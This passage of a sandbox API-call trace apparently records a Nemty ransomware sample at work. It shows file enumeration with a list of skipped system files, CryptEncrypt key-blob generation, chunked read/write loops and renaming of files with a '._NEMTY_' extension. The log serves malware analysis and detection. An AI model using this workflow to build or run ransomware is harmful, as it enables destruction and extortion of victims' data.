SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.327] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.346] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.346] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.374] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.374] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.374] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0070.405] CloseHandle (hObject=0xffffffff) returned 0 [0070.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0070.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0070.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0070.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0070.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0070.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0070.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0070.405] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0070.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.406] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="...") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="windows") returned -1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="rsa") returned -1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="programdata") returned -1 [0070.406] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="appdata") returned 1 [0070.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0070.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0070.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94368 [0070.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0070.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0070.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0070.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0070.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0070.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0070.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0070.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0070.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0070.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0070.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0070.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0070.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94368 [0070.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0070.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0070.407] Sleep (dwMilliseconds=0x5) [0070.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd9e4370, dwHighDateTime=0x1d561e7)) [0070.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdd9e4370, dwHighDateTime=0x1d561e7)) [0070.416] GetLastError () returned 0x5 [0070.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0070.416] GetLastError () returned 0x5 [0070.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0070.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0070.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0070.416] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0070.416] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0070.417] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0070.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0070.417] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="51SSb9zfDXzTVrwzgGvnB9uGnQgpJVgxD5IyYColOaiOFzIPipqIkmb1Y79jCYpw\r\neUoMD2izJQOymKQvw+ghLUNgPW57mkqz6vJrBBDt06zbyYSxYpd1MsELe5k2N0lo\r\n8qPb3RLImsi0q/YGS1ofB9YZicolCapwuml4scyX/P6zN+36kHIiLrX7/11vy5oV\r\n0hAlcSikZ2UGsDSFGdflRtYaLMynYXJcY0urPEvbXvWUUZmP3nAtDq+hw4/O7gZX\r\nBZkAZfBF9wI9aE+51x8YAYaza+aTcbltjTqpMGyYzr4PSHJtoI7TFeO51tf4S9rT\r\nuRc4FRKIv2smK63AqPIKCQ==\r\n", pcchString=0x653e91c) returned 1 [0070.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0070.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0070.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0070.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0070.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0070.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0070.417] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0070.417] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0070.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0070.417] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.417] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.426] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.426] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.426] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.445] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0070.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0070.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0070.465] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 